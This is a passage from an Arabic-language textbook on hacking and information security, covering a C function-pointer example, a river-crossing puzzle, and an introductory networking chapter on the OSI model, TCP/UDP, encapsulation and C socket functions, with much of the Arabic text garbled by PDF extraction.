reader@hacking:~/booksrc $ gcc funcptr_example.c
reader@hacking:~/booksrc $ ./a.out
function_ptr is 0x08048374
This is function one
value returned was 1

function_ptr is 0x0804838d
This is function two
value returned was 2
reader@hacking:~/booksrc $

..‫وصلت لىل هناية الباب األول‬


َ ‫ ل َقد‬..‫ب أن ُأذنئك‬
ُ ‫ُأح‬
. ‫ دعني ُأقدم َل َك ُمكاقأة‬..!‫لن ُه لنجاز رائع‬

Programming
[98]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لدينا راعي أغنام يمتلك ذئب‪ ،‬وماعز‪ ،‬وبعض ال ُعشب‪ ،‬وذم الثالثة يقفوا كام يف الصورة أمام النهر‪ ،‬يريدون العبور‬
‫للجهة األطرى‪.‬‬
‫سيعربون عىل عدة مراحل!‪.‬‬
‫ُ‬ ‫ذذا الراعي لديه قارب صغري ُيمكنه ققط أطذ يشء واحد معه أثناء العبور!‪ُ ،‬ما يعني أهنم‬
‫حيث من ا ُملتوقع أن يأكُلها!‪ ،‬ويف نفس الوقت ال ُيفرتض أيض ًا ترك‬
‫ولكن انتبه!‪ ،‬ال ُيفرتض ترك الذئب مع املاعز ُ‬
‫حيث من ا ُملتوقع أيض ًا أن تلتهمه!‪..‬‬
‫املاعز وحدذا مع العشب ُ‬
‫قكيف سنقوم بنقل الثالثة لىل اجلهة األطرى من النهر؟‬

‫‪Programming‬‬
‫]‪[99‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونيه وأمن المعلومات‬

This page intentionally left blank

[100]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونيه وأمن المعلومات‬

‫واآلن ذيا لنَقوم باطتبار ما َقدمته َلنا من أقكار حلل ذذا اللغز!‪:‬‬

‫]‪[101‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Networking
[102]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Part II
Networking

Networking
[103]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Networking
[104]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Introduction‬‬

‫يقول اهلل تعاىل يف كتابه الكريم‪ ﴿ :‬وجعلناكم شعوب ًا وقبائ َل لتعارقوا ﴾‪..‬‬
‫جزيرة ما‪ ،‬ختيل ذلك لربذة!‪ُ ،‬ثم ختيل الشخص ذاته وذو يعيش يف ٍ‬
‫بلد ما‬ ‫ٍ‬ ‫ذل ُيمكنُك ختيل شخص يعيش وحيد ًا يف‬
‫ُ‬
‫مع برش يتكلمون نفس لغته!‪ ،‬يتواصل مع الكثري منهم بشكل يومي‪ ،‬يقوم بمعامالت ُمتلفة سوا ًء كانت اجتامعية أو‬
‫مادية‪ .‬الفرق بسيط‪ ،‬قكال الشخصني واحد!‪ ،‬غري أن األول ذو الشخص "‪ ،"at rest‬والثاين ذو نفس الشخص ولكن‬
‫ُضيف ل ُه الكثري‪ ،‬قالشخص الثاين س َيتَكا َمل وينمو بسبب ذذا التواصل‬
‫ُ‬ ‫"‪ .."in dynamic‬ذذه الديناميكية َست‬
‫واالنفتاح عىل اآلطرين‪ ..‬لهنا ذدية ال )‪ (Networking‬له‪ ،‬بينام اآلطر سيظل حمله دون حتديث أو تطوير!‪ ،‬لعلك‬
‫شاذدت قيلم تم انتاجه يف عام ‪ 2007‬اسمه ”‪ “into the wild‬حيث حيكي قصة شاب ترك احلياة االجتامعية وذذب‬
‫اىل غابات "أالسكا" ليعيش وحده بمعزل عن الناس‪ ..‬ويف النهاية وبعد أن أصابه مرض املوت‪ ،‬وكان حينها وحيد ًا‬
‫يف الغابة‪ ،‬قام بتدوين آطر عبارة له قبل الرحيل‪:‬‬
‫”‪“Happiness within shared‬‬
‫قتى مسكني!‪.‬‬ ‫ثم اضجع قلي ً‬
‫ال وقارق احلياة‪ .‬يال ُه من ً‬

‫َقمثلام تقوم اللغات بإثراء التعامالت بني الناس وتزيد من طرباهتم وقاعليتهم يف احلياة‪ ،‬أيض ًا ُيمكنُنا لسقاط ذلك عىل‬
‫برنامج بسيط مثل ا ُملتصفح )‪ ،(browser‬ما قيمته بدون انرتنت؟ لن َيستخدم ُه أحد حينها!‪ ،‬ولكن بمجرد أن يتمكن‬
‫ذذا اليشء من التواصل مع ال ‪ web servers‬يف كل مكان باستخدام بروتوكوالت اإلتصال املختلفة‪ ..‬حينها ستظهر‬
‫قيمت ُه احلقيقية!‪ .‬أليس كذلك؟‪.‬‬

‫‪Networking‬‬
‫]‪[105‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫من املعروف أن العديد من ال ‪ Applications‬تعتمد عىل بيئة الشبكات كي تتمكن من ليصال طدماهتا لىل‬
‫ال ‪ ،end users‬ربام ختتلف أنواع الربوتوكوالت التي تعتمد عليها ذذه ال ‪ applications‬ولكن تبقى يف النهاية‬
‫السامت العامة املشرتكة هلذه الربوتوكوالت يف آليات نقلها للبيانات! "‪."transport methods‬‬

‫سنقوم يف ذذا الباب لنشاء اهلل برشح أساسيات الشبكات وبروتوكوالهتا‪ُ ،‬ث ّم اإلنتقال لىل ال "‪ ،"Sockets‬لتوضيح‬
‫ماذيتها‪ ،‬وكيفية لنشائها واستخدامها يف لغة ال ‪.C‬‬

‫ذيا بنا‪..‬‬

‫‪Networking‬‬
‫]‪[106‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪The OSI Model‬‬

‫يقوم ذذا ال ‪ OSI Model‬بتقسيم ال ‪Network Communications Process‬‬

‫لىل طبقات )‪.(Layers‬‬


‫ٍ‬
‫طبقة ما‬ ‫ذذه الطبقات تعتمد عىل بعضها يف أداء الوظيفة!‪ ،‬قمثالً لذا قرضنا أن‬
‫ولتكن ال ‪ ،Transport Layer‬وظيفتها ذي ليصال رسالة لىل ال ‪،Destination‬‬

‫مع التأكد من أن الرسالة َو َص َلت‪ ،‬ولذا َمل تَصل قستقوم بإعادة اإلرسال‪ .‬وبالنظر‬
‫لىل ذذه ال ‪ Service‬ا ُمل ُقدمة من ذذه الطبقة َسنَجد أهنا تسري كاآليت‪:‬‬
‫الطبقة التي تقع أسفل منها وذي ال ‪ُ ،Network Layer‬ت ًقدِّ م ‪ Service‬أيض ًا‬
‫وذي َمحل الرسالة من ال ‪ Source‬لىل ال ‪ Destination‬ققط‪ ،‬ستقوم بإيصال ال‬
‫‪ Packet‬من َمكان لىل َمكان آطر‪ ،‬بدون لجراء عملية التأكُد من الوصول ولعالم‬
‫ال ‪ ،Source‬أو لعادة اإلرسال يف حال ُحدوث َطلل‪َ ،‬ق َهذه َوظيفة ال َط َبقة التي‬
‫تَعلوذا!‪.‬‬
‫وبالتايل تَعتَمد ال (‪ )Layer 4‬عىل ال (‪ )Layer 3‬يف تقديم َطدَ ماهتا‪ ،‬وباملثل‪..‬‬
‫َذذه ال (‪َ )Layer 3‬ستَعتَمد عىل ال (‪ )Layer 2‬يف لكامل َع َملية ليصال ال ‪packet‬‬

‫لىل ال َط َرف َ‬
‫اآلطر‪..‬‬
‫وذذا ما نُطلق عليه بال ”‪“Service Block‬‬

‫‪Networking‬‬
‫]‪[107‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ما ذذا ال ”‪..“Service Block‬؟‬

‫لن ُه اإلعتامدية بني الطبقات عىل بعضها البعض يف أداء طدماهتا‪.‬‬

‫نأطذ قكرة عامة َعن َذذه ال َطبَقات َ‬


‫السب َعة‪:‬‬ ‫واآلن‪َ ..‬س ُ‬

‫‪Application Layer‬‬
‫ذذه الطبقة التي تَظهر لل ‪ end user‬وتتمثل يف ال ‪ Applications‬بأنواعها‪ ،‬قهي تُعت ََرب ال ‪َ Interface‬بين ُه وبني مجيع‬
‫ُمتعلقات الشبكات ا ُملختلفة‪.‬‬
‫قمث ً‬
‫ال يعمل يف ذذه الطبقة بروتوكول ال ‪ HTTP‬وذو املسؤول عن لرسال واستقبال طلبات عرض صفحات الوب‬
‫عىل ُمتصفحك‪ ،‬كام يعمل ِبا أيض ًا الربوتوكول الشهري ‪ DNS‬وذو الذي يقوم برتمجة عناوين مواقع االنرتنت‬
‫من ال "‪ "human-readable‬اىل ال "‪ ،"32-bit Network Address‬حيث ُخي َِّزن يف قواعد بياناته مجيع عناوين املواقع‬
‫وال ‪ IP Addresses‬ا ُملناظرة َهلا بطريقة " َذ َرمية"‪ ،‬ويف أجهزة ضخمة موزعة يف عدة مواضع حول العامل‪.‬‬
‫ُيط َلق عىل ال ‪ packet information‬يف ذذه ال ‪ Layer‬بال ”‪.“Data or Message‬‬

‫‪Presentation Layer‬‬
‫ذذه الطبقة مسؤولة عن عملية عرض ال ‪ Data‬بلغة يمكن قرائتها لىل طبقة ال ‪ُ ،Application‬ما ُيعطيها الكفاءة‬
‫ليست الطبقة الوحيدة التي ُيمكنُها عمل التشفري وقكه‪ ،‬لال أهنا تستطيع القيام بذلك‬
‫لتشفري أو قك تشفري ال ‪َ ،Data‬‬
‫تبع ًا ملتطلبات ال ‪.Applications‬‬

‫‪Networking‬‬
‫]‪[108‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Session Layer‬‬
‫تقوم ذذه الطبقة بإدارة ال "‪ "Session‬التي يتم قتحها بني األنظمة‪ ،‬قهي تقوم ِبذه الوظائف‪:‬‬
‫‪Establish, manage, and terminate the connection.‬‬

‫أيض ًا تقوم بتحديد ما لذا سيكون نوع االتصال "‪ ."Full-Duplex or Half‬وأيض ًا عملية ال ‪Graceful Shutdown‬‬

‫بدالً من قطع االتصال قجأة ‪.Drop‬‬

‫‪Transport Layer‬‬
‫تتلخص وظيفتها بنقل ال ‪ Msgs‬بني ال ‪.Applications‬‬
‫قهي تقوم باآليت‪:‬‬
‫"‪ "Transport the Application Layer’s Messages‬بني ال )‪ ،(Application End points‬بالطبع باالشرتاك مع‬
‫الطبقات التي تليها‪ ..‬قه َي املسؤولة َعن بدء و ُمتا َب َعة وغلق قنوات االتصال التي َيستَخدمها ال ‪ ..Application‬ذذه‬
‫القنوات تُسمى "‪ ."Sockets‬ثم تقوم أيض ًا ذذه الطبقة بإعطاء عناوين ال "‪ "Destination End Point‬لىل‬
‫ال (‪ )Layer 3‬كي تتم عملية اإلرسال الفعلية كام أوضحت لك يف مثال ال ‪.Service Block‬‬

‫املهم‪ ..‬يعمل يف ذذه الطبقة نوعني من أذم الربوتوكوالت‪ ،‬األول ‪ TCP‬والثاين ‪.UDP‬‬

‫قاألول يقوم بعملية ال ‪ Transport‬ولكن يقدم طدمة ال ‪ Reliable Transfer‬بمعنى أنه سيضمن لك وصول‬
‫الرسائل املرسلة وقق الرتتيب الذي ُأرسلت به ”‪ ،“Connection Oriented‬ولعادة لرسال الرسالة لذا ما اعرتضها أي‬

‫‪Networking‬‬
‫]‪[109‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫مانع من الوصول‪ .‬وبالتايل قهو بطيء بعض اليشء حيث يعمل ب ‪ Algorithm‬معقدة قليالً‪ ،‬يقوم املُربمج الذي‬
‫يصمم ال ‪ Application‬بتحديد ما لذا كان سيعتمد عىل ال ‪ TCP‬أم ال ‪ UDP‬تبع ًا لوظيفة ونوع ال ‪.Application‬‬

‫نأيت لىل ال ‪ UDP‬وذو أقل تعقيد ًا من ال ‪ TCP‬حيث لن يضمن لك عملية التوصيل بشكل كامل‪ ،‬وهلذا ُيطلق عليه‬
‫”‪ “Connectionless Protocol‬وذلك ل ُيعطي لنفسه ال ُفرصة بأن ُيقلص ال ‪ Header‬اخلاص به لتكون عملية‬
‫اإلرسال ِسيعة‪.‬‬
‫يعتمد عليه ال ‪ DNS‬يف عمله‪ ،‬ألن ال ‪ DNS‬من الربوتوكوالت التي البد أن تعمل بُسعة عالية‪..‬‬
‫ن َُس ّمي ال ‪ُ packet‬ذنا ”‪.“Segment‬‬

‫‪Network Layer‬‬
‫ذذه الطبقة عليها ‪ Load‬كبري بعض اليشء!‪ ،‬قهي تقوم بعملية نقل ال "‪ "Network-Layer Packets‬من ‪ host‬آلطر‪.‬‬
‫حيث يقوم ال ‪ TCP‬أو ال ‪ UDP‬بإمرار ال "‪ "Transport-Layer Segment‬و ال "‪ "Destination Address‬لىل ذذه‬
‫الطبقة‪ ،‬ثم تبدأ من ذنا رحلة ال ‪ Network Layer‬مرور ًا بشبكات عديدة أثناء مسريهتا‪ُ ،‬ثم اإلنتهاء لىل ال‬
‫‪ Destination‬ل َيتم ُذناك رقع ال ‪ Packet‬لىل طبقة ال ‪ Transport‬اخلاصة بال ‪ .Destination‬قهي ‪(The Network‬‬

‫)‪ Layer‬تَستَلم من ال ‪ Transport Layer‬من ج َهة وت َُس ِّلم لىل ال ‪ Transport Layer‬يف اجلهة األطرى‪ ..‬ن َُس ّمي ال‬
‫‪ packet‬يف ذذه الطبقة ”‪.“Datagram‬‬

‫‪Networking‬‬
‫]‪[110‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Data-Link Layer‬‬
‫ذذه الطبقة ُمتخصصه يف نقل البيانات عرب ال ‪ .Physical Network‬من َوظائفها القيام بتوقري ال‬
‫‪ Addressing Scheme‬التي تُستَخدَ م لتعريف األجهزة بنفسها داطل الشبكة‪ ،‬أو كام يقولون‪:‬‬
‫”‪ “Identifying Physical Devices‬مثل ال ‪ MAC Address‬ا ُملعطى لألجهزة وال ‪ Servers‬داطل الشبكة‪ ،‬وتقوم‬
‫أيض ًا ببعض الوظائف كتصحيح األططاء‪ ،"error correction and flow control" ،‬وبعض األدوار ا ُملهمة يف لدارة‬
‫اإلتصال عىل مستوى طبقة ال ‪ Data-Link‬كامييل‪:‬‬
‫‪Active, maintain, and deactivate data-link connections‬‬

‫من أمثلة بعض الربوتوكوالت التي تعمل داطل ذذه الطبقة‪ ..‬ال ‪ Ethernet‬وال ‪ .WiFi‬نُط َلق عىل ال ‪ُ packet‬ذنا‬
‫”‪.“Frame‬‬

‫‪Physical Layer‬‬
‫ذذه الطبقة تتعامل مع ال ‪َ ،Row-bit Stream‬قه َي تقوم بتوصيل ال ‪ Bits‬من ‪ node‬لىل ُأطرى‪ ،‬والربوتوكوالت‬
‫ا ُملستخدَ َمة ُذنا تَعتَمد عىل نوع ال "‪ "Transmission Medium‬ا ُملستَخدَ َمة‪.‬‬
‫ال َختتَلف َطبيعة اإلرسال اخلاصة بال (‪َ )Twisted-Pair copper wire‬عن ال (‪ )Fiber optics‬وذكذا‪.‬‬
‫َق َمث ً‬
‫ال ‪ packet‬ذنا عبارة عن ”‪.!“Bits‬‬

‫‪Networking‬‬
‫]‪[111‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الحظ معي ذذه الصورة التي توضح دور كالً منهم‪:‬‬


‫ُوضح عملية انتقال ‪ message‬من ‪ client‬لىل ‪ server‬عرب االنرتنت باستخدام الطبقات التي رشحناذا‪ ،‬غري‬
‫الصورة ت ِّ‬
‫أنه يف احلالة العامة يتم اطتزال أول ثالث طبقات يف طبقة واحدة ذي ال ‪ Application‬كام نرى يف الشكل‪:‬‬

‫ُص َع َملية لرسال واستقبال ال ‪:Data‬‬


‫نأيت ملفهوم َخي ّ‬

‫‪Networking‬‬
‫]‪[112‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫أثناء عملية اإلرسال تقوم كل طبقة بإضاقة بياناهتا عىل ال ‪ Packet‬عىل ذيئة ‪ ،Header‬وكام تعني الكلمة قهي ُمتَثِّل‬
‫"‪ "Head‬أو رأس هلذه ال ‪ Packet‬أو عنوان هلا‪ ،‬وبالتايل قأثناء نزول ال ‪ packet‬من أعىل لىل أسفل‪َ ،‬يزداد حجم َذذا‬
‫ال ‪ Header‬ب َس َبب َعملية اإلضاقة التي تقوم ِبا كُل َطبَ َقة )‪ُ ، (Appending its Header info‬ن َع ِّرب َعن َذذه ال‬
‫‪ process‬با ُملص َطلح‪.. “Encapsulation” :‬ويف اجلهة األطرى َس َيسري األمر بال َعكس!‪ ،‬من أسفل لىل أعىل‪ُ ،‬‬
‫حيث أن‬
‫ال ‪ packet‬قد وصلت لىل ال‪ Physical Layer‬أوالً ُثم ال ‪َ Data-Link‬‬
‫وذكذا‪ ..،‬وبالتايل كل طبقة منهم ستتفقد ال‬
‫‪ Header‬الذي أضاقته الطبقة ا ُملناظرة هلا يف اجل َهة األُطرى‪ُ ،‬ثم تقوم بنَزع ذذا ال ‪ُ ،Header‬مّا ُيؤدي لىل تَنا ُقص حجم‬
‫ط َلح‪.“Decapsulation” :‬‬
‫ال ‪ Header‬كلام َص َعدنا ألعىل‪ .‬و ُن َع ِّرب عن ذذه ال ‪ِ Process‬بذا ا ُملص َ‬
‫الشكل يوضح عملية ال ‪ Encapsulation‬وال ‪:Decapsulation‬‬

‫‪Networking‬‬
‫]‪[113‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشكل تَسم َية كُل ‪َ Header‬يتم لضاقت ُه ب ‪َ H‬متبوع ًا بأول َحرف من لسم ال َ‬
‫طبقة‪ ..‬الحظ َمعي أن ال ‪router‬‬ ‫ظهر يف َ‬
‫َي َ‬
‫أثناء َمسرية ال ‪ Packet‬قا َم ب َع َمل ‪ُ Decapsulation‬جزئي‪ ،‬لقد قام بنزع ال ‪ frame header‬وأعاد صياغته بحيث‬
‫يتضمن ال ‪ MAC‬اخلاص باجلهاز الذي يقع يف اجلهة األطرى من ال ‪ .Subnet‬وأعا َد لمرار ال ‪ packet‬لىل ال ‪Host‬‬

‫حيث َحيدُ ث ال ‪ Decapsulation‬الكامل لديه كي تظهر ال ‪ message‬بصيغتها ا َملقروءة عىل شاشة ال ‪.end user‬‬
‫ُ‬
‫ما ييل بعض الربوتوكوالت اخلاصة بالطبقات التي ُقمنا برشحها قوق‪:‬‬

‫ذناك مالحظة بخصوص ال ‪: Processes Communicating‬‬

‫عند لنشاء ‪ Communication Session‬من نوع ‪ Client-Server‬قهذا يعني أنه البد أن تكون ذذه ال ‪ Session‬بني‬
‫آطر ويبقى نوع ال ‪ Session‬أيض ًا‬
‫جهاز كمبيوتر مثالً و أحد ال ‪ُ .!Servers‬ربام َيتصل ‪ Server‬ب ‪َ Server‬‬
‫"‪."Client-Server‬‬

‫‪Networking‬‬
‫]‪[114‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫؟‬..Sessions ‫ قام تعريف ذذا النوع من ال‬..‫لذ ًا‬


‫ التي تنتظر أن يتصل ِبا‬Process ‫ وال‬،Client ‫ التي تقوم بالبدء بإنشاء االتصال بال‬Process ‫نقوم بتعريف ال‬
.Server ‫ بال‬Session ‫أحدذم لتبدأ معه ال‬

:‫لنُعطي مثال‬
ٍ
‫ مثالً عىل جهازك‬Outlook ‫ اخلاص بك وذو ال‬Agent ‫ يقوم ال‬،‫خص ما‬‫عندما تُرسل رسالة َبريد للكرتوين ل َش‬
،‫ اخلاص بصديقك‬Mail Server ‫ ثم يقوم ذو بدوره بإنشاء اتصال بال‬،‫ اخلاص بك‬Mail Server ‫بالتواصل مع ال‬
،!Client-Server ‫ وبالرغم من ذلك قهو من نوع‬Mail Servers ‫ اآلن حيدث بني ال‬Communication ‫الحظ ال‬

‫ و نُطلق عليه‬Server ‫“ واآلطر ذو ال‬SMTP Client” ‫ ونُطلق عليه‬Client ‫ اخلاص بك ذو ال‬Server ‫قيكون ال‬
.“SMTP Server”

‫ !؟‬Network Protocols ‫ و ال‬Network Layers ‫ولكن مالعالقه بني ال‬


:‫ ماييل تعريف ُُمت ََرص هلا‬..‫ يتبقى لنا بروتوكوالت الشبكات‬،Network Layers ‫نحن اآلن عىل علم بال‬

Networking protocols specify what types of data can be sent, how each type of message will be
identified, what actions can or must be taken by participants in the conversation. precisely..
“Where in the packet header each type of required information will be placed”.

Networking
[115]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪The Socket‬‬

‫برنامج ما عىل الكمبيوتر‪ ،‬قنكون بذلك ُقمنا ب َفتح ‪ Process‬عىل ذذا ال ‪ .O.S‬أحيان ًا حتتاج‬
‫ٍ‬ ‫عندما نقوم بتشغيل‬
‫التواصل ُي َسمى‬
‫ُ‬ ‫الربامج أو ال )‪ (Processes‬أن تتواصل مع بعضها البعض عىل نفس ال ‪ ،O.S‬ذذا النوع م َن‬
‫َ‬
‫وحيدُ ث وقق قوانني َيفرضها ال ‪ O.S‬ا ُملضيف هلم‪.‬‬
‫”‪َ .“Interprocess Communication‬‬
‫ذذا جيد!‪.‬‬
‫ولكننا ُذنا ب َصدَ د الرتكيز عىل ال ‪ communications‬بني ال ‪ Processes‬التي ال تقع يف نفس ال ‪ ،Host‬أو كام نُطلق‬
‫عليها ”‪.“Processes on two different end systems‬‬

‫ولكي تقوم أحد ذذه ال ‪ Processes‬أو ال ‪ Applications‬بإرسال رسالة أو ‪ Packet‬لىل ال ‪ Process‬األطرى قنحن‬
‫للمرور عرب ال "‪ ."underlying network‬وبالتايل تقوم ذذه ال ‪ Process‬بإرسال الرسالة‪ ،‬وتقوم ال ‪Process‬‬
‫بحاجة ُ‬
‫رب َمن َفذ َومهي )‪ (Logical‬أو "‪ .."Software Interface‬ذذه ال‬
‫الثانية يف اجلهة األطرى باستقبال تلك الرسالة َع َ‬
‫‪ Software Interface‬نُطلق عليها ”‪.“Socket‬‬

‫قام ذو ال ”‪ “Socket‬لذ ًا؟‪.‬‬


‫بارة َعن ‪َ Interface‬ت َقع بني ال ‪ Application Layer‬و ال ‪َ Transport Layer‬لدَ ى ال ‪.Host‬‬
‫لن ُه ع َ‬

‫الصورة التالية توضح ال ‪:Socket‬‬

‫‪Networking‬‬
‫]‪[116‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وبلغة الربجميات‪ ،‬نقوم بتعريف وظيفة ال ‪ Socket‬بامييل‪:‬‬


‫‪“It can be used to send or receive data over a network”.‬‬

‫َذكرنا سابق ًا أن املُربمج الذي َيقوم بتَصميم ال ‪َ Application‬س ُيحدِّ د نوع الربوتوكول املُستَخدَ م يف َعملية لرسال ال‬
‫‪ ،Data‬وذلك تبع ًا لنوع ال ‪َ ،Application‬ق َمثالً‪ :‬اليوتيوب ُيقدِّ م َلنا طد َمة ال ‪َ ..Video Streaming‬ذذه اخلد َمة‬
‫رب بروتوكول ال ‪ ،TCP‬بينام عند تصميم برنامج كال ‪Internet Telephony‬‬
‫كمستخدمني َع َ‬
‫يقوم بتَوصيلها للينا ُ‬
‫قيكون استخدام ال ‪ UDP‬أقضل‪ .‬وبام أننا لدينا نوعان رئيسيان من بروتوكوالت االتصال ‪ ..TCP & UDP‬قلدينا‬
‫أيض ًا نوعني رئيسيني من ال ”‪ ،“Sockets‬نستعرضهم يف الصفحة التالية‪.‬‬

‫‪Networking‬‬
‫]‪[117‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Stream Sockets‬‬
‫قكرة عمله أقرب لىل قكرة املُكا َملة اهلاتفية!‪ ،‬يف كوهنا من نوع ”‪ ،“Two-way Communication‬بمعنى أنه ب ُم َجرد‬
‫سمع ُه م َن‬
‫ألي م ُنهم التأكُد م َن الكالم الذي َي َ‬ ‫َقتح قناة اإلتصال بينهم قس ُيمكن ِّ‬
‫ألي م ُنهم التحدُ ث‪ ،‬كذلك ُيمكن ِّ‬
‫ال َط َرف اآلطر بأن َيسأله‪ :‬ذل ُقلت كذا وكذا؟ و ُيمكن لآلطر أن ُجييب بنعم أو ال‪ ،‬أو أن ُيعيد ل ُه الكَالم لن أراد!‪..‬‬
‫ال ُبد وأنك َقد عل َ‬
‫مت بأين أقصد أن ذذا النوع من ال ‪ Sockets‬سيستخدم ال ‪ ،TCP‬ألننا ُذنا ُمهتمني بإيصال ال‬
‫‪ Packets‬دون ُحدوث أية ‪.!Errors‬‬

‫ولذلك َيتم استخدام ذذا النوع من قنوات اإلتصال عندَ ما َيقوم ُمتَص ِّف َحك َمث ً‬
‫ال باإلتصال بال ‪ Mail Servers‬أو‬
‫‪ Web Servers‬يف أي مكان!‪.‬‬

‫‪Datagram Sockets‬‬
‫كان األول ُيشبه ُمكا َملة اهلاتف‪َ ،‬ق َهذا‬
‫ُذنا يكون االتصال أقرب لىل قكرة ال ”‪ ،“One-way Communication‬قإذا َ‬
‫تتذكر عند نَجاحك يف أحد اإلطتبارات ا ُملقد َمة من ‪ُ ،Cisco‬ثم تقوم‬
‫الربيد!‪ ،‬ذل َ‬
‫رب َ‬‫ُيشبه َع َمليّة لرسالك لرسالة َع َ‬
‫وربام تستغرق رحلة وصوهلا لليك‬ ‫ب َطلب الشهادة ك ‪ ،Hard copy‬لتنتظر ذذا ال ‪ US Mail‬كي ُيرسل َ‬
‫لك الشهادة‪ُ ،‬‬
‫وربام أيض ًا َيتَع ّثر األمر وال َيصلك يشء!‪ ..‬ذذا أشبه ب ُربوتوكول ال ‪ ،UDP‬لنه ُيرسل ال‬
‫أكثر من شهر! أليس كذلك؟‪ُ ،‬‬
‫ضمن َلك الوصول‪ .‬قتتعلم من َذذا الدرس أن تَط ُلب َ‬
‫الشهادات بصيغة ‪ PDF‬بعد ذلك لتض َمن‬ ‫‪ Packets‬وال َي َ‬
‫ُح ُصولك َعليها ‪..‬‬
‫توضح استخدام ال ‪ Stream Socket‬أثناء عملية اتصال َبني ‪ Client‬و ‪ .Server‬الحظ يف الشكل األول‬
‫ما ييل أشكال ِّ‬
‫أن ال ‪ output stream‬اخلاص باجلهاز سيذذب لىل ال ‪ُ Buffer‬ثم لىل ال ‪ Server‬عىل ذيئة ‪ input‬والعكس عند انتقال‬
‫ال ‪ data‬من ال ‪ Server‬لىل ال ‪.client‬‬

‫‪Networking‬‬
‫]‪[118‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Networking
[119]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لىل ُذنا نكون قد انتهينا من ذذه املرحلة األولية‪.‬‬

‫واآلن سنبدأ بالت َع ُّمق قلي ً‬


‫ال ُمستخدمني األكواد الربجمية‪ .‬انتبه!‪ ،‬سنعتمد يف الفقرات القادمة عىل األساسيات التي‬
‫تناولناذا يف الباب األول‪.‬‬

‫ذيا‪ ..‬لنن َطلق!‪..‬‬

‫‪Networking‬‬
‫]‪[120‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Socket Functions

‫ لكُل‬identify ‫" ل َع َمل‬file descriptor" ‫ كُنا نستخدم ال‬،‫ التي رشحناذا يف الباب السابق؟‬file access ‫ذل تتذكر ال‬
‫ أيض ًا‬.‫ هلا لدى نظام التشغيل‬reference ‫ ب َربط ذذه العملية برقم ليكون بمثابة‬kernel ‫ملف يتم قتح ُه وذلك بقيام ال‬
َ ‫ أيض ًا ألداء َع َملها كام‬Functions ‫ وتَستَخدم‬،‫ تتعا َمل بنَفس ا َملنطق‬Sockets ‫ال‬
‫ َجمموعة‬file access ‫كان َيستَخدم ال‬
.read( ) ‫ و‬write( ) ‫ مثل‬functions ‫ن ال‬
َ ‫م‬
:Lib ‫ يف َذذه ال‬Socket ‫ التي َيستَعملها ال‬functions ‫ هلَذه ال‬define ‫تَم َع َمل‬
<Sys/sockets.h>
/usr/include/sys/socket.h
:Lib ‫ما ييل أول سطور من ذذه ال‬

/* Declarations of socket constants, types, and functions.


2: Copyright (C) 1991,92,1994-2001,2003,2005,2007
3: Free Software Foundation, Inc.
4: This file is part of the GNU C Library.

:Sys/Socket.h Library ‫ األساسية اخلاصة بال‬functions ‫ذذه بعض ال‬

َ َ ‫ وظيفتها بطريقة ُُمت‬function ‫وضح أس َفل كُل‬


‫ وبام أنه قد َتكَونَت لديك طلفية ال بأس ِبا من الفصل السابق‬.‫َرصة‬ ّ ‫ُم‬
‫ وسنقوم بتوضيحهم مر ًة أطرى داطل األكواد يف‬.‫ بإذن اهلل‬60% ‫َفهم وظيفتهم بنسبة تتجاوز ال‬
َ ‫قأعتقد أنك َست‬
.‫ال َف َقرات القاد َمة‬

socket(int domain, int type, int protocol)


Used to create a new socket, returns a file descriptor for the socket or -1 on error.

Networking
[121]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

connect(int fd, struct sockaddr *remote_host, socklen_t addr_length)


Connects a socket (described by file descriptor fd) to a remote host. Returns 0 on success and -1
on error.

bind(int fd, struct sockaddr *local_addr, socklen_t addr_length)


Binds a socket to a local address so it can listen for incoming connections. Returns 0 on success
and -1 on error.

listen(int fd, int backlog_queue_size)


Listens for incoming connections and queues connection requests up to backlog_queue_size.
Returns 0 on success and -1 on error.

accept(int fd, sockaddr *remote_host, socklen_t *addr_length)


Accepts an incoming connection on a bound socket. The address information from the remote
host is written into the remote_host structure, and the actual size of the address structure is
written into *addr_length.
This function returns a new socket file descriptor to identify the connected
socket or -1 on error.

send(int fd, void *buffer, size_t n, int flags)


Sends n bytes from *buffer to socket fd; returns the number of bytes sent or -1 on error.

recv(int fd, void *buffer, size_t n, int flags)


Receives n bytes from socket fd into *buffer; returns the number of bytes received or -1 on error.

:‫ سنقوم بتحديد ذذه األمور‬،Socket ‫الحظ أنه عند لنشاء ال‬
